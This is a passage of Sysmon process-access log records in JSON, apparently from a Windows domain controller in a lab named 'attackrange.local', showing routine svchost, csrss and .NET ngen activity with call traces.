C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:03.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-001026310900}","TargetProcessId":"4360","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\NGenTask.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8234,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:04.436\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-432F-5F2D-0000-0010A46F1000}\r\nTargetProcessId: 4220\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:04.436","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-432F-5F2D-0000-0010A46F1000}","TargetProcessId":"4220","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8235,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:04.436\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-432F-5F2D-0000-0010A46F1000}\r\nTargetProcessId: 4220\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:04.436","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-432F-5F2D-0000-0010A46F1000}","TargetProcessId":"4220","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8236,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:04.463\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4334-5F2D-0000-001048F01000}\r\nTargetProcessId: 4220\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:04.463","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4334-5F2D-0000-001048F01000}","TargetProcessId":"4220","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8237,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:04.463\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nTargetProcessId: 4796\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:04.463","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","TargetProcessId":"4796","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8238,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:04.901\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {00000000-0000-0000-0000-000000000000}\r\nTargetProcessId: 4532\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:04.901","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{00000000-0000-0000-0000-000000000000}","TargetProcessId":"4532","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8239,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:04.901\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {00000000-0000-0000-0000-000000000000}\r\nTargetProcessId: 4532\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:04.901","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{00000000-0000-0000-0000-000000000000}","TargetProcessId":"4532","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8240,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:04.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4334-5F2D-0000-0010DAF31000}\r\nTargetProcessId: 4532\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:04.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4334-5F2D-0000-0010DAF31000}","TargetProcessId":"4532","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8241,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process 